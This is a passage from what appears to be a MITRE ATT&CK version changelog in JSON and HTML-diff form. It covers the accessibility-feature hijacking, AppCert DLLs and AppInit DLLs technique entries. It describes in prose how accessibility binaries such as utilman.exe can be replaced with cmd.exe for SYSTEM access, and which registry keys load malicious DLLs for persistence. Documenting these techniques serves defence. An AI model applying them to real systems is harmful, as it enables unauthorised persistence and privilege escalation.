nowrap=\"nowrap\">n&nbsp;(WFP/WRP).(Citation:&nbsp;DEFCON2016&nbsp;Sticky&nbsp;Keys)&nbsp;The&nbsp;[Image&nbsp;Fi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">File&nbsp;Execution&nbsp;Options&nbsp;Injection](https://attack.mitre.org/t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Execution&nbsp;Options&nbsp;Injection](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1546/012)&nbsp;debugger&nbsp;method&nbsp;was&nbsp;likely&nbsp;discovered&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1546/012)&nbsp;debugger&nbsp;method&nbsp;was&nbsp;likely&nbsp;discovered&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;potential&nbsp;workaround&nbsp;because&nbsp;it&nbsp;does&nbsp;not&nbsp;require&nbsp;the&nbsp;cor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;potential&nbsp;workaround&nbsp;because&nbsp;it&nbsp;does&nbsp;not&nbsp;require&nbsp;the&nbsp;corre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">responding&nbsp;accessibility&nbsp;feature&nbsp;binary&nbsp;to&nbsp;be&nbsp;replaced.&nbsp;&nbsp;For</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sponding&nbsp;accessibility&nbsp;feature&nbsp;binary&nbsp;to&nbsp;be&nbsp;replaced.&nbsp;&nbsp;For&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;simple&nbsp;binary&nbsp;replacement&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;and&nbsp;later&nbsp;as&nbsp;well&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">imple&nbsp;binary&nbsp;replacement&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;and&nbsp;later&nbsp;as&nbsp;well&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s<span class=\"diff_sub\">&nbsp;and</span>&nbsp;Windows&nbsp;Server&nbsp;2003/R2&nbsp;and&nbsp;later,&nbsp;for&nbsp;example,&nbsp;the&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Windows&nbsp;Server&nbsp;2003/R2&nbsp;and&nbsp;later,&nbsp;for&nbsp;example,&nbsp;the&nbsp;program&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gram&nbsp;(e.g.,&nbsp;&lt;code&gt;C:\\Windows\\System32\\utilman.exe&lt;/code&gt;)&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.g.,&nbsp;&lt;code&gt;C:\\Windows\\System32\\utilman.exe&lt;/code&gt;)&nbsp;may&nbsp;be&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;be&nbsp;replaced&nbsp;with&nbsp;\"cmd.exe\"&nbsp;(or&nbsp;another&nbsp;program&nbsp;that&nbsp;provid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eplaced&nbsp;with&nbsp;\"cmd.exe\"&nbsp;(or&nbsp;another&nbsp;program&nbsp;that&nbsp;provides&nbsp;bac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;backdoor&nbsp;access).&nbsp;Subsequently,&nbsp;pressing&nbsp;the&nbsp;appropriate&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kdoor&nbsp;access).&nbsp;Subsequently,&nbsp;pressing&nbsp;the&nbsp;appropriate&nbsp;key&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">key&nbsp;combination&nbsp;at&nbsp;the&nbsp;login&nbsp;screen&nbsp;while&nbsp;sitting&nbsp;at&nbsp;the&nbsp;key</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mbination&nbsp;at&nbsp;the&nbsp;login&nbsp;screen&nbsp;while&nbsp;sitting&nbsp;at&nbsp;the&nbsp;keyboard&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">board&nbsp;or&nbsp;when&nbsp;connected&nbsp;over&nbsp;[Remote&nbsp;Desktop&nbsp;Protocol](https</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;when&nbsp;connected&nbsp;over&nbsp;[Remote&nbsp;Desktop&nbsp;Protocol](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">://attack.mitre.org/techniques/T1021/001)&nbsp;will&nbsp;cause&nbsp;the&nbsp;rep</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1021/001)&nbsp;will&nbsp;cause&nbsp;the&nbsp;replaced&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">laced&nbsp;file&nbsp;to&nbsp;be&nbsp;executed&nbsp;with&nbsp;SYSTEM&nbsp;privileges.<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;to&nbsp;be&nbsp;executed&nbsp;with&nbsp;SYSTEM&nbsp;privileges.(Citation:&nbsp;Tilbur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Tilbury&nbsp;2014)&nbsp;&nbsp;Other&nbsp;accessibility&nbsp;features&nbsp;exist&nbsp;that&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;2014)&nbsp;&nbsp;Other&nbsp;accessibility&nbsp;features&nbsp;exist&nbsp;that&nbsp;may&nbsp;also&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">also&nbsp;be&nbsp;leveraged&nbsp;in&nbsp;a&nbsp;similar&nbsp;fashion:<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;DEFCON201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;leveraged&nbsp;in&nbsp;a&nbsp;similar&nbsp;fashion:(Citation:&nbsp;DEFCON2016&nbsp;Sticky</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6&nbsp;Sticky&nbsp;Keys)(Citation:&nbsp;Narrator&nbsp;Accessibility&nbsp;Abuse)&nbsp;&nbsp;*&nbsp;On</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Keys)(Citation:&nbsp;Narrator&nbsp;Accessibility&nbsp;Abuse)&nbsp;&nbsp;*&nbsp;On-Screen&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-Screen&nbsp;Keyboard:&nbsp;&lt;code&gt;C:\\Windows\\System32\\osk.exe&lt;/code&gt;&nbsp;*</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Keyboard:&nbsp;&lt;code&gt;C:\\Windows\\System32\\osk.exe&lt;/code&gt;&nbsp;*&nbsp;Magnifi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Magnifier:&nbsp;&lt;code&gt;C:\\Windows\\System32\\Magnify.exe&lt;/code&gt;&nbsp;*&nbsp;N</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er:&nbsp;&lt;code&gt;C:\\Windows\\System32\\Magnify.exe&lt;/code&gt;&nbsp;*&nbsp;Narrator:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">arrator:&nbsp;&lt;code&gt;C:\\Windows\\System32\\Narrator.exe&lt;/code&gt;&nbsp;*&nbsp;Dis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;C:\\Windows\\System32\\Narrator.exe&lt;/code&gt;&nbsp;*&nbsp;Display&nbsp;Swi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">play&nbsp;Switcher:&nbsp;&lt;code&gt;C:\\Windows\\System32\\DisplaySwitch.exe&lt;/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tcher:&nbsp;&lt;code&gt;C:\\Windows\\System32\\DisplaySwitch.exe&lt;/code&gt;&nbsp;*&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;&nbsp;*&nbsp;App&nbsp;Switcher:&nbsp;&lt;code&gt;C:\\Windows\\System32\\AtBroker.exe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">App&nbsp;Switcher:&nbsp;&lt;code&gt;C:\\Windows\\System32\\AtBroker.exe&lt;/code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1028: Operating System Configuration",
                            "M1035: Limit Access to Resource Over Network",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0033: Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 14:47:41.795000+00:00",
                    "modified": "2026-11-04 00:51:33.270000+00:00",
                    "name": "AppCert DLLs",
                    "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>.(Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/009",
                            "external_id": "T1546.009"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:51:33.270000+00:00\", \"old_value\": \"2025-10-24 17:49:00.663000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>.(Citation: Elastic Process Injection July 2017)\\n\\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\\n\\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>.(Citation: Elastic Process Injection July 2017)\\n \\n Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"Sysinternals AppCertDlls Oct 2007\", \"description\": \"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.\", \"url\": \"https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html\"}, \"root['external_references'][3]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to49__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to49__0\"><a href=\"#difflib_chg_to49__top\">t</a></td><td class=\"diff_header\" id=\"from49_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td><td class=\"diff_next\"><a href=\"#difflib_chg_to49__top\">t</a></td><td class=\"diff_header\" id=\"to49_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;AppCert&nbsp;DLLs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;AppCert&nbsp;DLLs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;loaded&nbsp;into&nbsp;processes.&nbsp;Dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;that&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;loaded&nbsp;into&nbsp;processes.&nbsp;Dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;that&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;specified&nbsp;in&nbsp;the&nbsp;&lt;code&gt;AppCertDLLs&lt;/code&gt;&nbsp;Registry&nbsp;key&nbsp;un</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;specified&nbsp;in&nbsp;the&nbsp;&lt;code&gt;AppCertDLLs&lt;/code&gt;&nbsp;Registry&nbsp;key&nbsp;un</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Contro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l\\Session&nbsp;Manager\\&lt;/code&gt;&nbsp;are&nbsp;loaded&nbsp;into&nbsp;every&nbsp;process&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l\\Session&nbsp;Manager\\&lt;/code&gt;&nbsp;are&nbsp;loaded&nbsp;into&nbsp;every&nbsp;process&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;calls&nbsp;the&nbsp;ubiquitously&nbsp;used&nbsp;application&nbsp;programming&nbsp;interfa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;calls&nbsp;the&nbsp;ubiquitously&nbsp;used&nbsp;application&nbsp;programming&nbsp;interfa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;(API)&nbsp;functions&nbsp;&lt;code&gt;CreateProcess&lt;/code&gt;,&nbsp;&lt;code&gt;CreateP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;(API)&nbsp;functions&nbsp;&lt;code&gt;CreateProcess&lt;/code&gt;,&nbsp;&lt;code&gt;CreateP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocessAsUser&lt;/code&gt;,&nbsp;&lt;code&gt;CreateProcessWithLoginW&lt;/code&gt;,&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocessAsUser&lt;/code&gt;,&nbsp;&lt;code&gt;CreateProcessWithLoginW&lt;/code&gt;,&nbsp;&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;CreateProcessWithTokenW&lt;/code&gt;,&nbsp;or&nbsp;&lt;code&gt;WinExec&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;CreateProcessWithTokenW&lt;/code&gt;,&nbsp;or&nbsp;&lt;code&gt;WinExec&lt;/code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;[Process&nbsp;Injection](https://attack.mitre.org/techniques/T1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Process&nbsp;Injection](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">055),&nbsp;this&nbsp;value&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;obtain&nbsp;elevated&nbsp;privileges</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">55),&nbsp;this&nbsp;value&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;obtain&nbsp;elevated&nbsp;privileges&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;causing&nbsp;a&nbsp;malicious&nbsp;DLL&nbsp;to&nbsp;be&nbsp;loaded&nbsp;and&nbsp;run&nbsp;in&nbsp;the&nbsp;cont</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;causing&nbsp;a&nbsp;malicious&nbsp;DLL&nbsp;to&nbsp;be&nbsp;loaded&nbsp;and&nbsp;run&nbsp;in&nbsp;the&nbsp;conte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ext&nbsp;of&nbsp;separate&nbsp;processes&nbsp;on&nbsp;the&nbsp;computer.&nbsp;Malicious&nbsp;AppCert</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xt&nbsp;of&nbsp;separate&nbsp;processes&nbsp;on&nbsp;the&nbsp;computer.&nbsp;Malicious&nbsp;AppCert&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DLLs&nbsp;may&nbsp;also&nbsp;provide&nbsp;persistence&nbsp;by&nbsp;continuously&nbsp;being&nbsp;tri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DLLs&nbsp;may&nbsp;also&nbsp;provide&nbsp;persistence&nbsp;by&nbsp;continuously&nbsp;being&nbsp;trig</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ggered&nbsp;by&nbsp;API&nbsp;activity.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gered&nbsp;by&nbsp;API&nbsp;activity.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0362: Detection Strategy for AppCert DLLs Persistence via Registry Injection"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 14:52:25.589000+00:00",
                    "modified": "2026-11-04 00:52:07.560000+00:00",
                    "name": "AppInit DLLs",
                    "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/010",
                            "external_id": "T1546.010"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        },
                        {
                            "source_name": "AppInit Registry",
                            "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                            "url": "https://support.microsoft.com/en-us/kb/197571"
                        },
                        {
                            "source_name": "AppInit Secure Boot",
                            "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                            "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:52:07.560000+00:00\", \"old_value\": \"2025-10-24 17:49:24.008000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\\n\\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit 